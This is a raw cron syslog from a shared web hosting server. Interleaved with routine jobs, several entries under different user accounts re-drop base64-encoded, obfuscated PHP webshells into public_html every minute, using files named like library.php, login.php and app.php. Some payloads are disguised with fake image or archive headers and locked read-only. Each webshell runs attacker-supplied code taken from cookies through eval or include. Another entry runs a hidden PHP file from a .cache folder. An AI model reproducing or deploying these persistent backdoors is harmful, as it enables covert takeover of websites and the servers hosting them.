Jun  7 13:11:01 medusa CROND[1593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:11:01 medusa CROND[1595]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:11:01 medusa CROND[1600]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:11:01 medusa CROND[1601]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:11:01 medusa CROND[1602]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:11:01 medusa CROND[1603]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:12:01 medusa CROND[3113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:12:01 medusa CROND[3121]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:12:01 medusa CROND[3122]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:12:01 medusa CROND[3124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:12:01 medusa CROND[3123]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:12:01 medusa CROND[3126]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:12:01 medusa CROND[3128]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:12:01 medusa CROND[3130]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:12:01 medusa CROND[3132]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 13:12:01 medusa CROND[3139]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:12:01 medusa CROND[3140]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:12:01 medusa CROND[3141]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:12:01 medusa CROND[3143]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:12:01 medusa CROND[3144]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:12:01 medusa CROND[3146]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:13:01 medusa CROND[4744]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:13:01 medusa CROND[4745]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:13:01 medusa CROND[4746]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:13:01 medusa CROND[4747]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:13:01 medusa CROND[4749]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
